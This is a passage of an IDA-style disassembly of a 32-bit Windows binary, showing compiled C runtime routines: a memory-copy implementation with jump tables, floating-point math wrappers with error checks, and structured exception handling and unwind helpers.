XREF: ___:0040B055p ; sub_40C29A+40p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41B960 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420445 add esp, 10h leave retn sub_41CA73 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAB0 proc near ; CODE XREF: sub_40B12F+62p ; sub_40B12F+6Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CAD0 cmp edi, eax jb loc_41CC48 loc_41CAD0: ; CODE XREF: sub_41CAB0+16j test edi, 3 jnz short loc_41CAEC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CB0C rep movsd jmp off_41CBF8[edx*4] ; --------------------------------------------------------------------------- loc_41CAEC: ; CODE XREF: sub_41CAB0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CB04 and eax, 3 add ecx, eax jmp dword ptr loc_41CB0C+4[eax*4] ; --------------------------------------------------------------------------- loc_41CB04: ; CODE XREF: sub_41CAB0+46j jmp dword ptr loc_41CC08[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CB0C: ; CODE XREF: sub_41CAB0+31j ; sub_41CAB0+8Ej ... jmp off_41CB8C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CB20 dd offset loc_41CB4C dd offset loc_41CB70 ; --------------------------------------------------------------------------- loc_41CB20: ; DATA XREF: sub_41CAB0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CB0C rep movsd jmp off_41CBF8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CB4C: ; DATA XREF: sub_41CAB0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CB0C rep movsd jmp off_41CBF8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CB70: ; DATA XREF: sub_41CAB0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CB0C rep movsd jmp off_41CBF8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CB8C dd offset loc_41CBEF ; DATA XREF: sub_41CAB0:loc_41CB0Cr dd offset loc_41CBDC dd offset loc_41CBD4 dd offset loc_41CBCC dd offset loc_41CBC4 dd offset loc_41CBBC dd offset loc_41CBB4 dd offset loc_41CBAC ; --------------------------------------------------------------------------- loc_41CBAC: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CBB4: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CBBC: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CBC4: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CBCC: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CBD4: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CBDC: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CBEF: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0:off_41CB8Co jmp off_41CBF8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CBF8 dd offset loc_41CC08 ; DATA XREF: sub_41CAB0+35r ; sub_41CAB0+92r ... dd offset loc_41CC10 dd offset loc_41CC1C dd offset loc_41CC30 ; --------------------------------------------------------------------------- loc_41CC08: ; CODE XREF: sub_41CAB0+35j ; sub_41CAB0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CC10: ; CODE XREF: sub_41CAB0+35j ; sub_41CAB0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CC1C: ; CODE XREF: sub_41CAB0+35j ; sub_41CAB0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CC30: ; CODE XREF: sub_41CAB0+35j ; sub_41CAB0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CC48: ; CODE XREF: sub_41CAB0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CC7C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CC70 std rep movsd cld jmp off_41CD90[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CC70: ; CODE XREF: sub_41CAB0+1B1j ; sub_41CAB0+208j ... neg ecx jmp off_41CD40[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CC7C: ; CODE XREF: sub_41CAB0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CC94 and eax, 3 sub ecx, eax jmp dword ptr loc_41CC94+4[eax*4] ; --------------------------------------------------------------------------- loc_41CC94: ; CODE XREF: sub_41CAB0+1D6j ; DATA XREF: sub_41CAB0+1DDr jmp off_41CD90[ecx*4] ; --------------------------------------------------------------------------- align 4 test al, 0CCh inc ecx add al, cl int 3 ; Trap to Debugger inc ecx add al, dh int 3 ; Trap to Debugger inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CC70 std rep movsd cld jmp off_41CD90[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CC70 std rep movsd cld jmp off_41CD90[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CC70 std rep movsd cld jmp off_41CD90[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CD44 dd offset loc_41CD4C dd offset loc_41CD54 dd offset loc_41CD5C dd offset loc_41CD64 dd offset loc_41CD6C dd offset loc_41CD74 off_41CD40 dd offset loc_41CD87 ; DATA XREF: sub_41CAB0+1C2r ; --------------------------------------------------------------------------- loc_41CD44: ; DATA XREF: sub_41CAB0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CD4C: ; DATA XREF: sub_41CAB0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CD54: ; DATA XREF: sub_41CAB0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CD5C: ; DATA XREF: sub_41CAB0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CD64: ; DATA XREF: sub_41CAB0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CD6C: ; DATA XREF: sub_41CAB0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CD74: ; DATA XREF: sub_41CAB0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CD87: ; CODE XREF: sub_41CAB0+1C2j ; DATA XREF: sub_41CAB0:off_41CD40o jmp off_41CD90[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CD90 dd offset loc_41CDA0 ; DATA XREF: sub_41CAB0+1B7r ; sub_41CAB0:loc_41CC94r ... dd offset loc_41CDA8 dd offset loc_41CDB8 dd offset loc_41CDCC ; --------------------------------------------------------------------------- loc_41CDA0: ; CODE XREF: sub_41CAB0+1B7j ; sub_41CAB0:loc_41CC94j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDA8: ; CODE XREF: sub_41CAB0+1B7j ; sub_41CAB0:loc_41CC94j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDB8: ; CODE XREF: sub_41CAB0+1B7j ; sub_41CAB0:loc_41CC94j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDCC: ; CODE XREF: sub_41CAB0+1B7j ; sub_41CAB0:loc_41CC94j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CAB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41CDE5(double) sub_41CDE5 proc near ; CODE XREF: sub_40D2DB+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A640 call sub_42171E fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41CE6B call sub_4215E6 pop ecx test eax, eax pop ecx jle short loc_41CE4E cmp eax, 2 jle short loc_41CE40 cmp eax, 3 jnz short loc_41CE4E fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420EF6 add esp, 10h jmp short loc_41CEB0 ; --------------------------------------------------------------------------- loc_41CE40: ; CODE XREF: sub_41CDE5+3Fj push esi push ebx call sub_42171E fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41CEB0 ; --------------------------------------------------------------------------- loc_41CE4E: ; CODE XREF: sub_41CDE5+3Aj ; sub_41CDE5+44j fld [ebp+arg_0] fadd dbl_427710 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41CEA8 ; --------------------------------------------------------------------------- loc_41CE6B: ; CODE XREF: sub_41CDE5+2Fj call sub_4215AB fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41CE8E loc_41CE80: ; CODE XREF: sub_41CDE5+ACj push esi push ebx call sub_42171E fld [ebp+var_8] pop ecx pop ecx jmp short loc_41CEB0 ; --------------------------------------------------------------------------- loc_41CE8E: ; CODE XREF: sub_41CDE5+99j test bl, 20h jnz short loc_41CE80 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41CEA8: ; CODE XREF: sub_41CDE5+84j call sub_420F49 add esp, 1Ch loc_41CEB0: ; CODE XREF: sub_41CDE5+59j ; sub_41CDE5+67j ... pop esi pop ebx leave retn sub_41CDE5 endp ; =============== S U B R O U T I N E ======================================= sub_41CEB4 proc near ; CODE XREF: ___:0041BF0Dp ; sub_4217E7+21p ; DATA XREF: ... call sub_41CECC call sub_4217E7 mov dword_4D9768, eax call sub_421797 fnclex retn sub_41CEB4 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41CECC proc near ; CODE XREF: sub_41CEB4p mov eax, offset sub_421BD5 mov off_43AC2C, offset sub_42186A mov off_43AC28, eax mov off_43AC30, offset sub_4218D0 mov off_43AC34, offset sub_421810 mov off_43AC38, offset sub_4218B8 mov off_43AC3C, eax retn sub_41CECC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CF04 proc near ; CODE XREF: sub_40D2DB+1Bp ; sub_40D2DB+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41CF2B(double) sub_41CF2B proc near ; CODE XREF: sub_40D327+82p ; ___:0040E725p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A658 call sub_42171E fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41CFB1 call sub_4215E6 pop ecx test eax, eax pop ecx jle short loc_41CF94 cmp eax, 2 jle short loc_41CF86 cmp eax, 3 jnz short loc_41CF94 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420EF6 add esp, 10h jmp short loc_41CFF6 ; --------------------------------------------------------------------------- loc_41CF86: ; CODE XREF: sub_41CF2B+3Fj push esi push ebx call sub_42171E fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41CFF6 ; --------------------------------------------------------------------------- loc_41CF94: ; CODE XREF: sub_41CF2B+3Aj ; sub_41CF2B+44j fld [ebp+arg_0] fadd dbl_427710 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41CFEE ; --------------------------------------------------------------------------- loc_41CFB1: ; CODE XREF: sub_41CF2B+2Fj call sub_4215AB fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41CFD4 loc_41CFC6: ; CODE XREF: sub_41CF2B+ACj push esi push ebx call sub_42171E fld [ebp+var_8] pop ecx pop ecx jmp short loc_41CFF6 ; --------------------------------------------------------------------------- loc_41CFD4: ; CODE XREF: sub_41CF2B+99j test bl, 20h jnz short loc_41CFC6 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41CFEE: ; CODE XREF: sub_41CF2B+84j call sub_420F49 add esp, 1Ch loc_41CFF6: ; CODE XREF: sub_41CF2B+59j ; sub_41CF2B+67j ... pop esi pop ebx leave retn sub_41CF2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFFA proc near ; CODE XREF: ___:004220B7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41CFFA endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41D02E proc near ; CODE XREF: sub_4221F7+199p ; sub_4223BB+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D02E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D035 proc near ; CODE XREF: sub_4221F7+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D035 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D03C proc near ; CODE XREF: sub_41D1EE+5Cp ; sub_422046:loc_422077p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41D064 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42663C sub_41D03C endp ; --------------------------------------------------------------------------- loc_41D064: ; DATA XREF: sub_41D03C+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41D08B: ; CODE XREF: ___:00426D68j ; ___:00426D85j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421C4B add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D0C1 proc near ; CODE XREF: sub_4220C1+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41D115 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422450 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41D0C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D115 proc near ; DATA XREF: sub_41D0C1+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421C4B add esp, 20h pop ebp retn sub_41D115 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D13A proc near ; CODE XREF: sub_421E8D+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41D1EE mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41D1C0 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4D97C0 pop ecx pop ecx and [ebp+var_34], 0 loc_41D1C0: ; DATA XREF: sub_41D13A+3Co cmp [ebp+var_4], 0 jz short loc_41D1DD mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41D1E6 ; --------------------------------------------------------------------------- loc_41D1DD: ; CODE XREF: sub_41D13A+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41D1E6: ; CODE XREF: sub_41D13A+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41D13A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D1EE proc near ; DATA XREF: sub_41D13A+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41D211 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41D25E ; --------------------------------------------------------------------------- loc_41D211: ; CODE XREF: sub_41D1EE+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421C4B add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41D24F push [ebp+arg_0] push [ebp+arg_4] call sub_41D03C ; --------------------------------------------------------------------------- loc_41D24F: ; CODE XREF: sub_41D1EE+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41D25E: ; CODE XREF: sub_41D1EE+21j pop edi pop esi pop ebx pop ebp retn sub_41D1EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D263 proc near ; CODE XREF: sub_421CE6+C6p ; sub_421E8D+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41D2BA loc_41D281: ; CODE XREF: sub_41D263+52j cmp esi, 0FFFFFFFFh jnz short loc_41D28B call sub_4224F2 loc_41D28B: ; CODE XREF: sub_41D263+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41D2A0 cmp ecx, [eax+8] jle short loc_41D2A5 loc_41D2A0: ; CODE XREF: sub_41D263+36j cmp esi, 0FFFFFFFFh jnz short loc_41D2B1 loc_41D2A5: ; CODE XREF: sub_41D263+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41D2B1: ; CODE XREF: sub_41D263+40j cmp [ebp+arg_4], 0 jge short loc_41D281 mov eax, [ebp+var_4] loc_41D2BA: ; CODE XREF: sub_41D263+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41D2CE cmp esi, eax jbe short loc_41D2D3 loc_41D2CE: ; CODE XREF: sub_41D263+65j call sub_4224F2 loc_41D2D3: ; CODE XREF: sub_41D263+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41D263 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D2E0 proc near ; CODE XREF: sub_4233C0+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41D2F8 push [ebp+arg_0] call sub_42663C sub_41D2E0 endp ; =============== S U B R O U T I N E ======================================= sub_41D2F8 proc near ; DATA XREF: sub_41D2E0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D2F8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D300 proc near ; DATA XREF: sub_41D322+Ao ; sub_41D38A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41D321 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41D321: ; CODE XREF: sub_41D300+10j retn sub_41D300 endp ; =============== S U B R O U T I N E ======================================= sub_41D322 proc near ; CODE XREF: sub_422167+Dp ; sub_4233C0+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41D300 push large dword ptr fs:0 mov large fs:0, esp loc_41D33F: ; CODE XREF: sub_41D322:loc_41D37Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41D37C cmp esi, [esp+1Ch+arg_4] jz short loc_41D37C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41D37A push 101h mov eax, [ebx+esi*4+8] call sub_41D3B6 call dword ptr [ebx+esi*4+8] loc_41D37A: ; CODE XREF: sub_41D322+44j jmp short loc_41D33F ; --------------------------------------------------------------------------- loc_41D37C: ; CODE XREF: sub_41D322+2Aj ; sub_41D322+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41D322 endp ; =============== S U B R O U T I N E ======================================= sub_41D38A proc near ; CODE XREF: sub_422187+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41D300 jnz short locret_41D3AC mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41D3AC mov eax, 1 locret_41D3AC: ; CODE XREF: sub_41D38A+10j ; sub_41D38A+1Bj retn sub_41D38A endp ; =============== S U B R O U T I N E ======================================= sub_41D3AD proc near ; CODE XREF: sub_422450+1Ep ; sub_422450+40p push ebx push ecx mov ebx, offset dword_43A65C jmp short loc_41D3C0 sub_41D3AD endp ; =============== S U B R O U T I N E ======================================= sub_41D3B6 proc near ; CODE XREF: sub_41D322+4Fp ; sub_4233C0+78p push ebx push ecx mov ebx, offset dword_43A65C mov ecx, [ebp+8] loc_41D3C0: ; CODE XREF: sub_41D3AD+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41D3B6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D3D0 proc near ; CODE XREF: sub_40D327+5p ; sub_40D4C9+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41D3D0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D3EF proc near ; CODE XREF: sub_40D968+26p ; ___:004263D2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BA31 pop ecx retn sub_41D3EF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D400 proc near ; CODE XREF: sub_40D9D9+3Ap ; sub_41E4A2+2EEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx 